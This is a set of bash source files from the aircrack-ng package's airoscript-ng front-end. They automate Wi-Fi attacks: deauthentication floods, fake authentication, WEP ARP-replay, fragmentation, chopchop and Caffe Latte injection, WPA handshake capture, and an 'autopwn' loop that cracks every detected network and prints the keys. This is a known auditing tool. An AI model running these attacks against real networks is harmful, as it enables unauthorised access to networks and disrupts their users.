$"Interface type is" ": $TYPE ($DRIVER)" } [[ ! $1 ]] && { export QUIET=1; export NOTITLE=1; } execute "" $AIRODUMP --ignore-negative-one -w $DUMP_PATH/dump --encrypt $ENCRYPT -a $wifi wait_for_execute=0 export SCAN=0 } Host_ssidinput(){ single_question $"Please enter Host SSID"; Host_SSID="$ans"; $clear } setaircrackpaths(){ AIRMON="${SBINDIR}airmon-ng" AIRODUMP="${SBINDIR}airodump-ng" AIREPLAY="${SBINDIR}aireplay-ng --ignore-negative-one" AIRCRACK="${BINDIR}aircrack-ng" ARPFORGE="${BINDIR}packetforge-ng" WESSIDE="${SBINDIR}wesside-ng" AIRSERV="${SBINDIR}airserv-ng" TKIPTUN="${SBINDIR}tkiptun-ng" IVSTOOLS="${SBINDIR}ivstools" BUDDY="${SBINDIR}buddy-ng" EASSIDE="${SBINDIR}easside-ng" MACCHANGER="${BINDIR}macchanger" AIRGRAPH="${BINDIR}airgraph-ng" AIRDECLOAK="${BINDIR}airdecloak-ng" KSTATS=$BINDIR"kstats" iwconfig="iwconfig" } confwarn(){ $'Youre going to use a config file on your home or current dir. This may be harmfull, for example, if your user have been compromised, and youre getting rights trought sudo, someone can modify your config file to do something malicious as root. Be sure to check your home config file before using it. Defaults on /etc/airoscript-ng.conf should be ok so you can safely remove your ~/.airoscript-ng.conf\n\n Do you really want to do it (yes/No): ' } get_current_mac(){ while read line; do [[ $line =~ ^$wificard\S*(.*)HWaddr\S*(.*) ]] && echo ${BASH_REMATCH[2]}; done < <( ifconfig ) } testmac(){ if [ "$TYPE" = "Atherosmadwifi-ng" ]; then FAKE_MAC=$(get_current_mac) $"Changed fake_mac :" " $FAKE_MAC" return fi [[ $auto_fake_mac == 1 ]] && { [[ $set_wifi_by_args != 1 ]] && { markwarn $"Automatically setting fake mac"; wichchangemac 1 ; }; } } filter_ssid(){ [[ -n "$filter_ssid_" ]] && { echo; echo; tag; warn "${mark}Filtering essid to $filter_ssid_ " while read line; do [[ $line =~ (.*)${filter_ssid_}(.*) ]] && echo $line >> $DUMP_PATH/dump-02.csv done <<< $DUMP_PATH/dump-01.csv } } aircrack-ng-1.2-beta3/scripts/airoscript-ng/src/functions/menu0000644000000000000000000001355112216362125023172 0ustar rootroot# Funcion file used by airoscript # Copyright (C) 2010-2011 David Francos Cuartero # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. mainmenu(){ $clear [[ $TERMINAL == "airoscript_quiet" ]] && { [[ $notification != "" ]] && notify $notification; mkmenu $"Main Menu" $"Attack - Attack target" $"Crack - Get target key" $"Select - Reselect target" $"Others - Various utilities" $"Autopwn- Automatic cracking" "Window - Window list" $"Exit - Quits" window=1; } || { [[ $notification != "" ]] && notify $notification; mkmenu $"Main Menu" $"Attack - Attack target" $"Crack - Get target key" $"Select - Reselect target" $"Others - Various utilities" $"Autopwn- Automatic cracking" $"Exit - Quits" } for choix in ${choice[*]}; do case "$choix" in 1) menu_attack;; 2) if [ x$interactive == x0 ]; then auto; else menu_crack; fi ;; 3) select_ap;; 4) menu_extra;; 5) check_function autopwn || source $path/autocrack; autopwn runner;; 6) [[ $window ]] && { menu_windows; } || { check_function doexit || source $path/internal/exit; doexit; } ;; 7) check_function doexit || source $path/internal/exit; doexit;; *) $clear && markwarn $"ERROR: Wrong number entered";; esac done mainmenu } menu_windows(){ cd $DUMP_PATH/Terminals clear; windows=(*) mkmenu "Window list" * "Back to main menu" [[ $choice == ${#windows} ]] && return; echo; clear; notify "Press ctrl + c to return to airoscript" tail_launched=1; tail -f "${windows[$choice - 1]}" tail_launched=0; cd - } menu_attack(){ monmode &>/dev/null if [[ "$Host_ENC" =~ (.*)"WEP"(.*) ]]; then attack_wep elif [[ "$Host_ENC" =~ (.*)"WPA"(.*) ]]; then attack_wpa else attack_opn; fi } menu_crack(){ check_function crack_wep || source $path/crack/main [[ ! -e $DUMP_PATH/$Host_MAC-01.cap ]] && { error $"You have no IVS, please attack first." ; return; } while true; do mkmenu $"WEP/WPA Cracking Options" $"Crack with manual dictionary" $"Standard aircrack-ng" $"Return to menu" case $choice in 1 ) export crack_extra_opts=" -w $WORDLIST"; selectcracking; break ;; 2 ) selectcracking ; break ;; 3 ) $clear; break;; * ) echo $"Unknown response. Try again" ;; esac done } menu_type(){ if [ "$AUTO" == 1 ]; then ENCRYPT="$1"; choosescan; return; fi if [ "$AUTO" == 2 ]; then ENCRYPT="$1"; choosescan; return; fi while true; do echo mkmenu $"Select encryption" "No filter" "OPN (open)" "WEP" "WPA" "WPA1" "WPA2" $"Return to main menu" case $choice in 1 ) ENCRYPT="" ; choosescan; break ;; 2 ) ENCRYPT="OPN" ; choosescan; break ;; 3 ) ENCRYPT="WEP" ; choosescan; break ;; 4 ) ENCRYPT="WPA" ; choosescan; break ;; 5 ) ENCRYPT="WPA1" ; choosescan; break ;; 6 ) ENCRYPT="WPA2" ; choosescan; break ;; 7 ) break;; * ) echo $"Unknown response. Try again" ;; esac done } choosescan(){ if [ "$AUTO" == 1 ]; then Scan; return; fi if [ "$AUTO" == 2 ]; then Scan; return; fi while true; do mkmenu $"Channel" $"Channel Hoping" $"Specific Channel" case $choice in 1 ) Scan 1 ;break;; 2 ) Scanchan;break;; * ) echo $"Unknown response. Try again" ;; esac done } select_ap(){ check_function select_target || source $path/internal/scansel if [ -e $DUMP_PATH/dump-01.csv ]; then while read line; do [[ $line =~ ^Station\ MAC,(.*) ]] && next=0; [[ $next == 1 ]] && echo $line; [[ $line =~ ^BSSID,(.*) ]] && next=1; done < ${DUMP_PATH}/dump-01.csv | tac > ${DUMP_PATH}/dump-02.csv filter_ssid selectAp; $clear if [ "$Host_SSID" = $'\r' ]; then blankssid; elif [ "$Host_SSID" = "No SSID has been detected" ]; then blankssid; fi select_target; target else $clear && markwarn $'ERROR: You have to scan for targets first'; fi } menu_extra(){ check_function menu_options || source $path/attacks/others while true; do mkmenu $"Extra tools" $"Airoscript Options" $"Advanced tools" $"External plugins" $'User interfaces' $"Return to main menu" case $choice in 1) menu_options; $clear; break;; 2) othertmenu; $clear; break;; 3) menu_plugins; $clear; break;; 3) menu_interfaces; $clear; break;; 4) $clear;break ;; * ) echo $"Unknown response. Try again" ;; esac done } menu_interfaces(){ mkmenu "User interfaces" "${interfaces[@]}" _source $path/plugins/${interfaces[$choice - 1]} } menu_plugins(){ a_menu=( "${p_menu[@]}" ); a_menu+=("Return to main menu"); mkmenu "External plugins" "${a_menu[@]}" ${p_menu[$choice - 1]/ /_} || { $clear; warn "Wrong option, try again"; menu_plugins; } } aircrack-ng-1.2-beta3/scripts/airoscript-ng/src/functions/autocrack0000644000000000000000000001553612201462251024202 0ustar rootroot# Autocrack functions file for airoscript. # Copyright (C) 2011 David Francos Cuartero # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. # FUCKING UNPOLISHED, but... it seems to work. source $path/attacks/others source $path/attacks/injection source $path/attacks/wpa source $path/attacks/auth source $path/attacks/wep source $path/crack/main autopwn(){ func=$1; shift; autopwn_$func $@; } autopwn_setvars(){ attack_functions_wep=(fakeauto fakeinteractive chopchop caffelate hirte arpreplay_auto arpreplay_interactive fragmentation chopchopclient pskarp) attack_functions_wpa=(handshake) F=0; export AUTO=$1; export QUIET=1; export INTERACTIVE=0; next=0; count=0; export writekey="-l $DUMP_PATH/$Host_MAC.key" [[ $1 == 1 ]] && export ENCRYPT=""; } autopwn_scan(){ launch_counter $time_to_scan & choosescan # Choose scan in auto auto auto mode. sleep $time_to_scan && killall -2 "airodump-ng"; reload_config while read line; do ⮂ 17:43:43 ⮂ 2013-08-10 [[ $line =~ ^Station\ MAC,(.*) ]] && next=0; [[ $next == 1 ]] && echo $line; [[ $line =~ ^BSSID,(.*) ]] && next=1; done < ${DUMP_PATH}/dump-01.csv | tac > ${DUMP_PATH}/dump-02.csv filter_ssid } autopwn_selectap(){ export AUTO=2; selectAp; sleep 1 } autopwn_crack(){ check_function Crack_with_dictionary_generator && { export wait_for_execute=1; AUTO=1; Crack_with_dictionary_generator autocrack } || { export wait_for_execute=1; AUTO=1; selectcracking 1; AUTO=0; export wait_for_execute=0; } } count_aps(){ a=($(wc -l $DUMP_PATH/dump-02.csv)); echo ${a[0]}; } # benchmarks shows this is a little more efficent than using cut. autopwn_runner(){ autopwn setvars 1 autopwn scan && MAX_TARGETS=$(count_aps); echo; tag; warn "${mark}Networks detected $MAX_TARGETS"; sleep 1 for i in `seq 1 $MAX_TARGETS`; do echo autopwn selectap if [ "$Host_SSID" != "" ]; then autopwn network; else tag; warn "${mark}Couldn't find essid, trying with next network."; fi done autopwn print_cracked_networks } autopwn_print_cracked_networks(){ [[ $DUMP_PATH/*.key ]] && { tag; warn ${mark}"Cracked networks:" for file in $DUMP_PATH/*.key; do echo "\t${mark}$file : `cat $file`" done } } autopwn_finish(){ check_function doexit || source $path/internal/exit; [[ $options_autoconfigure ]] && { configure; doexit killme; } || { read -p "Press c to configure, q to quit, n to next network and any key to get back to main menu" -s -n1 ans [[ "$ans" == "c" ]] && { configure; return 1; } [[ $ans == "n" ]] && return 0 [[ $ans == "q" ]] && { warn "${mark}Exiting..." doexit killme ; exit; pkill -9 airoscript-ng; killall -9 airoscript-ng } return 1 } } autopwn_failed_cracking(){ warn "${mark}Network NOT cracked. Something failed." [[ "$Host_ENC" =~ (.*)WPA(.*) ]] && warn "${mark}Most probable cause is that network's key is not in the dictionary" } autopwn_network(){ autopwn setvars 2 [[ "$Host_ENC" =~ (.*)WPA(.*) ]] && { enc=wpa; attack_functions=${attack_functions_wpa[@]}; min_ivs=10; } || { enc=wep; attack_functions=${attack_functions_wep} } for i in ${attack_functions[@]}; do tag; echo "${mark}Attack $count. Using $i in $Host_MAC" { ${enc}_attacks $i & cleanp & get_min_ivs; } &> /dev/null [[ $enc == wpa ]] || { tag; warn "${mark}Needed ivs: $min_ivs" } while [ "1" ]; do sleep 5 autopwn finished && { # We have enough ivs echo; tag; warn "${mark}Trying to crack network, we have enough ivs or handshakes."; autopwn crack && autopwn_print_crack_status autopwn finish && break || { break; mainmenu; } } || { # We don't have enough ivs autopwn print_capture_status && { echo; break; } || status=$? } [[ $status == 20 ]] && break done [[ $status == 20 ]] && { status=0; break; } count=$(( $count + 1 )) done cleanautovars clear=$oldclear; } autopwn_print_crack_status(){ [[ -e $DUMP_PATH/$Host_MAC.key ]] && \ warn "${mark}Network cracked, password is `cat $DUMP_PATH/$Host_MAC.key`" || \ autopwn failed_cracking } autopwn_print_capture_status(){ [[ "$Host_ENC" =~ (.*)WPA(.*) ]] && { specialwarn "\r\t${mark}Current Handshakes: $handshakes. Press a to go to next attack, m for menu, for next network" ; } || { specialwarn "\r\t${mark}Current IVS: `check_all_ivs`. Press a to go to next attack, m for menu, n for next network" ; } read -t1 -n1 -p" " ans [[ $ans == "m" ]] && { cleanautovars; $clear; mainmenu; ans="a"; } [[ $ans == "k" ]] && return 20 [[ $ans == "a" ]] } check_all_ivs(){ while IFS=, read -a line; do [[ ${line[0]} == "${Host_MAC}" ]] && echo ${line[10]} ; done < ${DUMP_PATH}/${Host_MAC}-01.csv; } get_min_ivs(){ [[ "$Host_ENC" =~ (.*)WPA(.*) ]] && { min_ivs=10; return; } check_function Crack_with_dictionary_generator && { Crack_with_dictionary_generator return_ivs; a=$? } || { a=255 } [[ "$a" == 255 ]] && min_ivs=$autopwn_min_ivs || min_ivs=$a } get_handshake_number(){ while read -a line; do [[ ${line[@]} =~ (.*)handshake(.*) ]] && echo ${line[-2]/(/}; done < <( aircrack-ng ${DUMP_PATH}/${Host_MAC}-01.cap & sleep 0.5 && kill $! ) } check_if_handshake(){ export handshakes=$(get_handshake_number); [[ $handshakes == "" ]] && handshakes=0 (( $handshakes > 0 )) && return 0 || return 1 } autopwn_finished(){ [[ "$Host_ENC" =~ (.*)WPA(.*) ]] && { check_if_handshake && { tag; warn "${mark}Got WPA handshake ($handshakes eapol packets)" return 0 } || { return 1; } } || { get_min_ivs; ivs=`check_all_ivs`; [[ $ivs == "" ]] && ivs=0; (( $ivs > $min_ivs )) && return 0 || return 1 } } aircrack-ng-1.2-beta3/scripts/airoscript-ng/src/functions/interface0000644000000000000000000000751112271675067024202 0ustar rootroot# Interface library for airoscript. # Copyright (C) 2009-2011 David Francos Cuartero # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. notify(){ tput sc msg="${@}"; x=$(( $(tput cols) - ( ${#msg} + 20 ) )); tput cup 0 $x echo $msg; tput rc notification=""; } _(){ gettext "${@}" } setps(){ $clear if [ "$1" != "" ]; then PS3="$1"; else PS3=$'Input number: '; fi } default_theme(){ markwarn $'Theme file does not exists, using defaults...' DUMPING_COLOR="#FFFFFF"; INJECTION_COLOR="#1DFF00" ASSOCIATION_COLOR="#FF0009"; DEAUTH_COLOR="#99CCFF"; BACKGROUND_COLOR="#000000" } target(){ help_fifo "${red}_______Target information______${end}\n"\ " AP SSID = $Host_SSID\n"\ " AP MAC = $Host_MAC\n"\ " AP Channel =$Host_CHAN\n"\ " Client MAC = $Client_MAC\n"\ " Fake MAC = $FAKE_MAC\n"\ " AP Encryption =$Host_ENC\n"\ " AP Speed =$Host_SPEED\n"\ "________________________________" } fill_menu(){ len=$(( $1 - $2 )); for i in `seq 0 $len`; do echo -n "$3"; done; } fill(){ menu_w="$3"; separator="$2"; title="$1"; len_1=$((${#title} + 3)) half_len_1=$(( $len_1 / 2 )) ; loop_times=$(( $menu_w / 2 - $half_len_1 )) fill_menu $loop_times 1 "$separator";echo -n "$title";fill_menu $loop_times 1 "$separator" } function mkbox(){ echo -n "+"; fill "$menu_t" "$separator_h" "$(( $max + ${#menu_t} ))" center; echo "+" } temporary_switch_clear(){ temp="$oldclear"; oldclear=$clear; clear=$temp; $@ ; clear=$oldclear } airoscript_quiet(){ mkdir -p $DUMP_PATH/Terminals/ &>/dev/null title=${1/ /_}; shift $@ &> "$DUMP_PATH/Terminals/${title}" & } vline(){ for i in `seq 0 $1`; do echo -n ${separator_v}; done; } mkmenuheader(){ echo -en "\033[$(($2 / 2 - (${#1} / 2 - 10) ))C$1\n"; } getmaxlenfromlist(){ max=0; for i in "${@}"; do [[ ${#i} -gt $max ]] && max=${#i}; done; echo $max; } mkmenueline(){ echo -en " ${separator_v}\033[${1}C${separator_v}\033[${1}D${white}${2}${red})${end} ${separator_v}";} tabulate() { for i in $(seq 0 $1); do echo -n " "; done; } mkmenulines(){ max=$1; shift; for i in "${@}"; do line=$(( $line + 1 )); mkmenueline $max $line; echo -n " "; _ "${i}"; echo; done; } mkmenu(){ if [ "$AUTO" == 2 ]; then return; fi [[ ${ERRORS} ]] && markwarn "Error:" "${ERRORS[@]}" ERRORS="" [[ ${INFOS} ]] && markwarn "Info:" "${INFOS[@]}" INFOS="" max=`getmaxlenfromlist "${@}"` max=$(( $max + 10 )) title=$1; shift; line=0; tot=${#@} f=$((`tput cols` - 10)); title=($(_ "${title}")) tabulate 10 mkmenuheader "${title[@]}" $max tabulate 10 echo -en "$separator_tl"; for i in $(seq 1 $max); do echo -en "$separator_h"; done; echo "$separator_tr"; mkmenulines $max "${@}" [[ ${extra_menus[${title/\//_}]} ]] && mkmenulines ${extra_menus[${title/\//_}]}; tabulate 10 echo -en "$separator_bl"; for i in $(seq 1 $max); do echo -en "$separator_h"; done; echo "$separator_br"; markwarn $"Select option:" set -a choice _read -a choice (( $choice > $tot )) && { ${extra_menus[$title]/ /_}; echo "Ok, sorry, that was ${#@}"; } } aircrack-ng-1.2-beta3/scripts/airoscript-ng/src/functions/reporting0000644000000000000000000001020012271675067024240 0ustar rootroot# Copyright (C) 2011 David Francos Cuartero # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # Along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. report_file=$DUMP_PATH/$Host_MAC.report report_proto_stats(){ check_function tcpdstat_ || source $path/plugins/tcpdstat echo "${warn}Loading tcpdstat plugin" _tcpdstat } _get_report_data(){ kstatsmenu auto; _airgraph; report_proto_stats; } _make_report(){ # Virtual function so I can easily override make_report while preserving this one. cp $path/templates/start.html ${report_file}.html; echo "

Report for $Host_SSID : $Host_MAC

" >> ${report_file}.html echo "
" >> ${report_file}.html report_html &>> ${report_file}.html echo "
" >> ${report_file}.html
    cat $DUMP_PATH/$Host_MAC.report_proto_stats $DUMP_PATH/$Host_MAC.kstats >> ${report_file}.html
    echo "
" >> ${report_file}.html echo "
" >> ${report_file}.html get_html_warnings >> ${report_file}.html echo "
" >> ${report_file}.html cat $path/templates/end >> ${report_file}.html } make_report(){ [[ -e $DUMP_PATH/$Host_MAC.key ]] && { _get_report_data; _make_report &>/dev/null; }; } get_html_warnings(){ get_warnings; while read warning; do echo "

${warning}

"; done < ${report_file}.warns; } get_warnings(){ [[ -e $DUMP_PATH/$Host_MAC.key ]] || return key=`cat $DUMP_PATH/$Host_MAC.key` [[ "$Host_ENC" =~ (.*)"WEP"(.*) ]] && echo "WEP encription is unsecure and should not be used" >> ${report_file}.warns (( ${#key} < 104 )) && echo "Key lenght is less than 104 bytes" >> ${report_file}.warns } report_html(){ [[ -e $DUMP_PATH/$Host_MAC.key ]] || return key=`cat $DUMP_PATH/$Host_MAC.key` echo "

Network SSID $Host_SSID

" echo "

Network MAC $Host_MAC

" echo "

Network channel $Host_CHAN

" echo "

Network encription $Host_ENC

" echo "

Network speed $Host_SPEED

" echo "

Network key $key" } report_mode(){ [[ -e $DUMP_PATH/$Host_MAC.key ]] || { error "${mark} Couldn't crack network"; return; } key=`cat $DUMP_PATH/$Host_MAC.key` echo -e "Network, Mac, Channel, Encription, Speed, key\n$Host_SSID, $Host_MAC, $Host_CHAN, $Host_ENC, $Host_SPEED, $key" > ${report_file}_standard.csv } kstatsmenu(){ $IVSTOOLS --convert $DUMP_PATH/$Host_MAC.cap $DUMP_PATH/$Host_MAC.ivs &> /dev/null && $KSTATS $DUMP_PATH/$Host_MAC.ivs `cat $DUMP_PATH/$Host_MAC.key` &> $DUMP_PATH/$Host_MAC.kstats [[ $1 == "" ]] && less $DUMP_PATH/$Host_MAC.kstats } _airgraph(){ if [[ "$Host_MAC" != "" ]]; then read -p $"Enter format (CPG|CAPR) (CAPR by default): " g [[ $g != "CPG" ]] && g="CAPR" export wait_for_execute=1; AUTO=1; execute $"Generating graphics" $AIRGRAPH -i $DUMP_PATH/$Host_MAC-01.csv -o $DUMP_PATH/$Host_MAC.png -g $g; export wait_for_execute=0; AUTO=0; read -p $"Do you want to launch a browser? [y|N] " yn # Didn't like it. [[ $yn == "y" ]] && x-www-browser $DUMP_PATH/$Host_MAC.png else $clear; echo $"Error: You have to scan for targets first"; fi } aircrack-ng-1.2-beta3/scripts/airoscript-ng/src/functions/bashrc0000644000000000000000000000000012121241230023435 0ustar rootrootaircrack-ng-1.2-beta3/scripts/airoscript-ng/src/functions/attacks/0000755000000000000000000000000012316431270023727 5ustar rootrootaircrack-ng-1.2-beta3/scripts/airoscript-ng/src/functions/attacks/auth0000644000000000000000000000600612021445441024613 0ustar rootroot# Copyright (C) 2011 David Francos Cuartero # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # Along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. authmenu(){ while true; do mkmenu $"Autentication menu" $"Fake autentication" $"Deautentication" $"Return to main menu" case $choice in 1 ) choose_fake ; $clear; break;; 2 ) choose_deauth ; $clear; break;; 3 ) $clear ; break;; * ) echo $"Unknown response, try again"; sleep 1; $clear;; esac done } choose_deauth(){ [[ $1 ]] && { auth_attacks_deauth $1; return ; } [[ $AUTO == 2 ]] && { auth_attacks_deauth 1;return; } [[ $AUTO == 1 ]] && { auth_attacks_deauth 1;return; } while true; do mkmenu $"Who do you want to deauth?" $"Everybody" $"Myself (fake mac)" $"Selected client" auth_attacks_deauth $choice || error $"Unknown response. Try again" ; done } auth_attacks_deauth(){ attack=$1; case $attack in 1) execute $"Deauth All" $AIREPLAY --deauth $DEAUTHTIME -a $Host_MAC $wifi;; 2) execute $"Deauth client" $AIREPLAY --deauth $DEAUTHTIME -a $Host_MAC -c $Client_MAC $iwifi;; 3) execute $"Deautenticating" $AIREPLAY --deauth $DEAUTHTIME -a $Host_MAC -c $FAKE_MAC $iwifi;; esac } choose_fake(){ required "$Host_SSID" "You have to select a target first" || return; [[ "$INTERACTIVE" != "1" ]] && { auth_attacks_fake 1; auth_attacks_fake 2; auth_attacks_fake 3; return; } while true; do mkmenu $"Fake Auth Method" $"Conservative" $"Standard" $"Progressive" $"Xor Injection" check_function "${auth_attacks_fake_$choice}" && { auth_attacks_fake $choice; break; } error $"Unknown response. Try again" ; done } auth_attacks_fake(){ export time_=2; case $choice in 1 ) execute "Fake auth (1) " $AIREPLAY --fakeauth 6000 -o 1 -q 10\ -e "$Host_SSID" -a $Host_MAC -h $FAKE_MAC $iwifi;; 2 ) execute "Fake auth (2) " $AIREPLAY --fakeauth 0\ -e "$Host_SSID" -a $Host_MAC -h $FAKE_MAC $iwifi ;; 3 ) execute "Fake auth (3) " $AIREPLAY --fakeauth 5 -o 10 -q 1\ -e "$Host_SSID" -a $Host_MAC -h $FAKE_MAC $iwifi ;; 4 ) execute "Fake auth (4) " $AIREPLAY -1 0 -e "$HOST_SSID"\ -y $DUMP_PATH/*.xor -a $Host_MAC -h $FAKE_MAC $iwifi ;; * ) return 1; esac } fakeauth(){ execute "Fake auth on $Host_SSID" $AIREPLAY --fakeauth $AUTHDELAY -q $KEEPALIVE -e "$Host_SSID" -a $Host_MAC -h $FAKE_MAC $iwifi } aircrack-ng-1.2-beta3/scripts/airoscript-ng/src/functions/attacks/injection0000644000000000000000000000655312001425423025637 0ustar rootroot# Autocrack functions file for airoscript. # Copyright (C) 2011 David Francos Cuartero # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. # This is for iNJECTION (8) option othersinjectmenu(){ while true; do mkmenu "Injection type" "Frag Injection" "ChopChop injection" "WPA Migration Mode"; case $choice in 1) injectmenu frag; break;; 2) injectmenu chopchop; break;; 3) execute "$AIREPLAY -8 -b $Host_MAC -h $FAKE_MAC $iwifi"; break;; *) $clear; esac done } injectmenu(){ while true; do ls -lah $DUMP_PATH/*.xor &>/dev/null [[ $? != 0 ]] && { warn "${mark}Can't open fragmentation xor files. Returning"; echo; return; } if [ "$1" == "frag" ]; then if [ "$AUTO" == 1 ]; then if [ "$Client_MAC" != "" ]; then fragend $Client_MAC; return; fi if [ "$FAKE_MAC" != "" ]; then fragend $FAKE_MAC; return; fi return fi mkmenu "Frag Injection" "Frag with client injection" "Return to main menu" case $choice in 1 ) fragend $Client_MAC ; break ;; 2 ) fragend $FAKE_MAC; break ;; * ) $clear; break;; esac fi if [ "$1" == "chopchop" ]; then if [ "$AUTO" == 1 ]; then if [ "$Client_MAC" != "" ]; then chopchopend $Client_MAC; return; fi if [ "$FAKE_MAC" != "" ]; then chopchopend $FAKE_MAC; return; fi return fi mkmenu "Chopchop injection" "Chopchop with client inj." "Return to main menu" case $choice in 1 ) chopchopend $FAKE_MAC ; break ;; 2 ) chopchopend $CLIENT_MAC ; break ;; * ) $clear; break;; esac fi done } fragend(){ if [ "$Host_MAC" = "" ]; then $clear && warn "${mark}ERROR: You must select a target first" else $ARPFORGE -0 -a $Host_MAC -h $1 -k $Client_IP -l $Host_IP -y $DUMP_PATH/fragment-*.xor -w $DUMP_PATH/frag_$Host_MAC.cap execute "Fragmentation without client" $AIREPLAY -2 -r $DUMP_PATH/frag_$Host_MAC.cap -h $1 -x $INJECTRATE $iwifi fi } chopchopend(){ if [ "$Host_MAC" = "" ]; then $clear && warn "${mark}ERROR: You must select a target first" else rm -rf $DUMP_PATH/chopchop_$Host_MAC* $ARPFORGE -0 -a $Host_MAC -h $1 -k $Client_IP -l $Host_IP -y $DUMP_PATH/replay*.xor -w $DUMP_PATH/chopchop_$Host_MAC.cap AUTO=0; QUIET=""; execute "ChopChop End" $AIREPLAY --interactive -r $DUMP_PATH/chopchop_$Host_MAC.cap -h $1 -x $INJECTRATE $iwifi fi } aircrack-ng-1.2-beta3/scripts/airoscript-ng/src/functions/attacks/wep0000644000000000000000000001222612021445441024446 0ustar rootroot# Wep attack functions for airoscript # Copyright (C) 2011 David Francos Cuartero # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. # Warning! at least generic, internal and interface must be loaded before this one! check_function auth_attacks_fake || source $path/attacks/auth # It depends on auth module ;) check_function injectmenu || source $path/attacks/injection # It depends on injection module ;) check_client(){ [[ $dynamic_client_selection ]] && { auto_scan_clients; select_client; } [[ $Client_MAC != "" ]] && { ifconfig $wificard hw ether $Client_MAC directed=1; return 0; } || { directed=0; ifconfig $wificard hw ether $FAKE_MAC } } wep_attacks_menu(){ help_fifo $"${mark}${red}Wep attacks${end}\n"\ "You're seeing this menu because the network you selected has WEP encryption\n"\ "Here follows some information about each attack\n"\ "${red}ARP Replay${end}\n" \ "Standard arp replay, tries to capture an arp and send it back to the router to generate traffic. If not client selected, it'll launch a fake auth attack to simulate one \n"\ "${red}Fragmentation ${end}\n"\ "Initiates a fragmentation attack to obtain 1500 bytes of PRGA. Then it generates a packet and injects it back to the router.\n"\ "${red}ChopChop ${end}\n"\ "Tries to decode a single wep packet via chopchop attack, then it starts an injection attack with that packet.\n"\ "${red}Caffe Latte${end}\n"\ "An attack not requering router to be in range, client-directed (useful if you're not close to the ap, but to a client)" while true; do $clear mkmenu $"Attacks using a client"\ $"ARP replay"\ $"Fragmentation attack"\ $"Chopchop attack"\ $"Caffe latte"\ $"Return to main menu" case $choice in 1) check_client ; wep_attacks arpreplay_interactive; break ;; 2) check_client ; wep_attacks fragmentation -7; break ;; 3) check_client ; wep_attacks chopchop; break ;; 4) check_client ; wep_attacks caffelate; break ;; 5) $clear; break ;; *) error $"Unknown response, try again";; esac done } wep_attacks(){ $clear attack=$1; shift; hardclean replay_dec-*.xor [[ $attack != menu ]] && { export time_=0; capture } export time_=1 wep_attacks_$attack $@ notification=$attack_notification $clear; } interactive_wep(){ if [ "$INTERACTIVE" == 1 ]; then read -p $"Enter destination mac: (FF:FF:FF:FF:FF:FF)" INJMAC if [ "$INJMAC" = "" ]; then INJMAC=$INJMAC_; fi read -p $"Set framecontrol word (hex): (0841) " FT if [ "$FT" = "" ]; then FT=$FT_; fi else INJMAC=$INJMAC_; FT=$FT_; fi } wep_attacks_caffelate(){ time_=1 export wait_for_execute=0; execute $"Cafe Latte Attack on: $Host_SSID "\ $AIREPLAY -6 -b $Host_MAC -h $FAKE_MAC -x \ $INJECTRATE -D $iwifi & auth_attacks_fake } wep_attacks_arpreplay_interactive(){ FT_="0841"; INJMAC_="FF:FF:FF:FF:FF:FF"; interactive_wep; if [[ $directed == 1 ]]; then time_=1; execute $"Interactive Packet Sel on: $Host_SSID" $AIREPLAY $iwifi --interactive -p $FT -c $INJMAC -b $Host_MAC -h $Client_MAC -x $INJECTRATE else time_=1; execute $"Interactive Packet Sel on: $Host_SSID" $AIREPLAY $iwifi --interactive -p $FT -c $INJMAC -b 